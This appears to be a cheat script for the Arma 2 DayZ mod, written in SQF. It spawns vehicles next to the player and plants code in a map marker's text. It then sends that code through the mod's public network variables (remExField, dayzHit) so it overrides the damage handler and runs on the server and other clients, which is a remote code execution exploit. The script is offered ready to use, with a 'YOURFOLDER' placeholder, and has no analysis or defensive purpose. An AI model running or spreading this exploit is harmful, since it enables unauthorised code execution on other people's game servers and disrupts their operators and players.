


_posplr = [((getPos player) select 0) + 3, ((getPos player) select 1) + 3, 0];
_dirplr = getDir player;
_spwnveh = format ["if (isServer) then
{
[0, nil, [%1, %2], '%3'] call local_publishObj;
};", _dirplr, _posplr, _this];
[_spwnveh] execVM "YOURFOLDER\exec.sqf";
deleteMarker "dwarden";
marker = "dwarden";
marker = createMarker [marker, [0,0,0]];
if (isNil "reinit") then
{
reinit = true;
marker setMarkerText "fnc_usec_damageHandler={if(isServer&&(!((_this select 3)isKindOf'zZombie_Base')))then{_code=markerText'dwarden';call compile _code;remExField=[nil,nil,(';'+_code+';')];publicVariable'remExField';}else{_this call compile preprocessFileLineNumbers'\z\addons\dayz_code\compile\fn_damageHandler.sqf';};};";
remExField = [nil,nil,";fnc_usec_damageType=BIS_fnc_swapVars;"];
publicVariableServer "remExField";
sleep 1;
dayzHit = [player,0,"___v2=markerText'dwarden';0",0,0];
publicVariableServer "dayzHit";
sleep 1;
hint "Init RE";
};
marker setMarkerText (_this select 0);
_unit = (entities "zZombie_Base") select (random (count entities "zZombie_Base"));
_wound = DAYZ_woundHit call BIS_fnc_selectRandomWeighted;
_damage = 0.1 + random (1.2);
dayzHit = [_unit,_wound,_damage,player,"zombie"];
publicVariable "dayzHit";
